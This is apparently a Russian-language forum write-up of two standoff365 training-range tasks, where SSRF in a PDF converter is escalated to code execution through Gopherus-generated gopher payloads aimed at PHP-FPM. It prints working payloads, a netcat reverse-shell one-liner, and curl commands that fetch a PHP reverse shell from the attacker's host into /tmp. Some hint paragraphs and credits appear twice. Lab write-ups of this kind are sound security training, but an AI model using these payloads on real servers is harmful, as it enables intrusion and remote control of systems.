Введение
Приветствую всех читателей статьи! Продолжаю серию статьей по решению задач с платформы standoff365. В ней я вам представлю очередность шагов для решения данных заданий (web-3-1 and web-3-2).link standoff 365
web 3-1
Первая задачка была довольно легкая, нужно было просто следовать инструкции с задания.web-3-1 Подделка запроса со стороны сервера (SSRF) на узле utils.edu.stf
В самом задании сказано
На Сайте просто в поле url указываемРеализуйте SSRF на узле utils.edu.stf (10.124.1.237).
Для получения флага обратитесь по внутреннему адресу на порт 9732 (Ссылка скрыта от гостей).
Подсказки не отображаются при отключенном VPN. Чтобы их просмотреть, настройте VPN-подключение.
Ссылка скрыта от гостей
и получаем флаг
web-3-2
[web-3-2] Удаленное выполнение кода (RCE) на узле utils.edu.stfHint
Подсказки для тех у кого Регистрация на платформе и на впн на разных машинках.hint1
Создайте специальную gopher-ссылку:
Сгенерируйте специальную gopher-ссылку, которая обращается к PHP-FPM-серверу по порту 9000 и выполняет произвольный код.Подумайте, какую команду вы хотите выполнить на сервере посредством SSRF.
Загрузите исполняемый файл (шелл) на сервер:
Залейте исполняемый файл (например, PHP-шелл) на сервер в доступный для записи каталог, например в /tmp/.
Убедитесь, что у вас есть доступ к этому файлу через SSRF.
Залейте исполняемый файл (например, PHP-шелл) на сервер в доступный для записи каталог, например в /tmp/.
Убедитесь, что у вас есть доступ к этому файлу через SSRF.
Выполните код на сервере через SSRF:
Используйте gopher-ссылку для выполнения кода на сервере, например для запуска загруженного шелла и получения RCE.
Комментарий от автора: к с
Используйте gopher-ссылку для выполнения кода на сервере, например для запуска загруженного шелла и получения RCE.
Комментарий от автора: к с
Scout
Исходя из задания web-3-1 мы должны сделать для себя вывод что уязвимость и сам вектора атаки будет проходить на сайте через pdf convertor и уязвимость стоит искать именно тамРазведку начнём с фаззинга
ссылкан на wordlist link=seclists
Код:
ffuf -u http://10.124.1.237/convert.php?url=file://FUZZ -w ~/wordlists/seclists/Fuzzing/LFI/LFI-linux-and-windows_by-1N3@CrowdShield.txt -e .php,.html,.txt,.zip,.gz,.tar,.dat,.log,.tar.gz,.sql,.rar,.swp,.bak,.asp,.aspx,.js,.img,.png,.jpeg -fs 1018
-w wordlist
-u url
Один из ответов от сервера меня заинтерисовал, открыв его я нашел для себя следующую информацию
Выписываем вот это/etc/nginx/sites-available/default [Status: 200, Size: 16184, Words: 393, Lines: 227, Duration: 116ms]
fastcgi_pass 127.0.0.1:9000
FastCGI — это клиент-серверный протокол, который служит для взаимодействия веб-сервера и приложений, представляя собой более производительное и безопасное развитие технологии CGI (Common Gateway Interface).
Далее яндексим:
и находим :
Ссылка скрыта от гостей
или вот эту
Ссылка скрыта от гостей
на ней же можем найти и инструмент для тестирования tools
Из этиз ссылок я сделал вывод что уязвимость будет связанна с gopher через ssrf
Attack
На этапе атаки нам нужно будет получить revshell из ходя из заданияПримечание: один из способом получить revshell одной командой
nc -c bash 10.127.IP.IP Port
Но если не получилось снизу описано альтернативный способ решения
Как было сказано ранее, находим следующий инструмент на hacktricks tools
в качестве revshell будет использоваться = GitHub - pentestmonkey/php-reverse-shell
(Не забудьте в файле revshell поменять на свой Ip and port)
В качестве первого параметра в эксплоите написано указывать любой файл желательно php , поэтому мы решили указать сам convert.php и путь к нему (в разведке мы поняли что это линукс , по файловой системе, поэтому будет указывать полный путь /var/www/html/тут_файл)
Для начала проверим где мы через команду ls также можно было добавить pwd (ls ;pwd ) чтобы за один запрос получить как можно больше информации
Код:
git clone https://github.com/tarunkant/Gopherus
──(kali㉿kali)-[~/Downloads/Gopherus]
└─$ gopherus --exploit fastcgi
Give one file name which should be surely present in the server (prefer .php file)
if you don't know press ENTER we have default one: /var/www/html/convert.php
Terminal command to run: ls
Your gopher link is ready to do SSRF:
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%06%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH54%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php://input%0F%19SCRIPT_FILENAME/var/www/html/convert.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%006%04%00%3C%3Fphp%20system%28%27ls%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
Далее Логично будет скачать revershell php с нашего сервера.
Сервер подымается следующей командой
python3 -m http.server 8000
Скачивать будем в директорию /tmp так как в большинстве случаев у нас всега на ее есть права, и мы можем там сохранить свой скрипты и т.п
Код:
gopherus --exploit fastcgi
Give one file name which should be surely present in the server (prefer .php file)
if you don't know press ENTER we have default one: /var/www/html/convert.php
Terminal command to run: curl -o /tmp/shell.php http://10.127.244.IP:Port/shell.php ; ls /tmp
Your gopher link is ready to do SSRF:
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%07%07%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH120%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php://input%0F%19SCRIPT_FILENAME/var/www/html/convert.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00x%04%00%3C%3Fphp%20system%28%27curl%20-o%20/tmp/shell.php%20http://10.127.244.IP%3APORT/shell.php%20%3B%20ls%20/tmp%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
-----------Made-by-SpyD3r-----------
Next step Запуск нашего скрипта
Также я выполнил дополнительную команду для добавления прав нашему скрипту.
chmod +x /tmp/*
Код:
┌──(kali㉿kali)-[~/Downloads/Gopherus]
└─$ gopherus --exploit fastcgi
Give one file name which should be surely present in the server (prefer .php file)
if you don't know press ENTER we have default one: /var/www/html/convert.php
Terminal command to run: php /tmp/shell.php
Your gopher link is ready to do SSRF:
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%06%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH70%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php://input%0F%19SCRIPT_FILENAME/var/www/html/convert.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00F%04%00%3C%3Fphp%20system%28%27php%20/tmp/shell.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
Attack 2 from Aloha51
2 Cпособ эксплуатации уязвимости в котором было обнаружена неправильная настройка обработчика на сервере, которая считывала данные из body в запросах GET и PUT и выполняла код на стороне сервераобратите внимание что метод в запросе заменяется на PUT
Прав в директории сервера не было (по адресу /var/www/html ) и поэтому пришлось в загружать file в папку /tmp
Получение файла /etc/passwd
Скачивание revshell-а
и после запускаем любым удобным для вас способом (Дополнительно нужно будет еще докинуть прав через комнаду
chmod +x /tmp/*
)
Заключение:
Это была довольно интересная задача.
Однако впереди нас ждут еще более увлекательные вызовы Давайте продолжим наше путешествие!
Если у вас есть дополнительные пожелания или изменения, дайте знать!
Автор: Archivist
vasya.kotov.8080@mail.ru
Соавтор: Nebty
alex122303q@gmail.com
Альтернативное решение:
Aloha51
vasya.kotov.8080@mail.ru
Соавтор: Nebty
alex122303q@gmail.com
Альтернативное решение:
Aloha51
Последнее редактирование: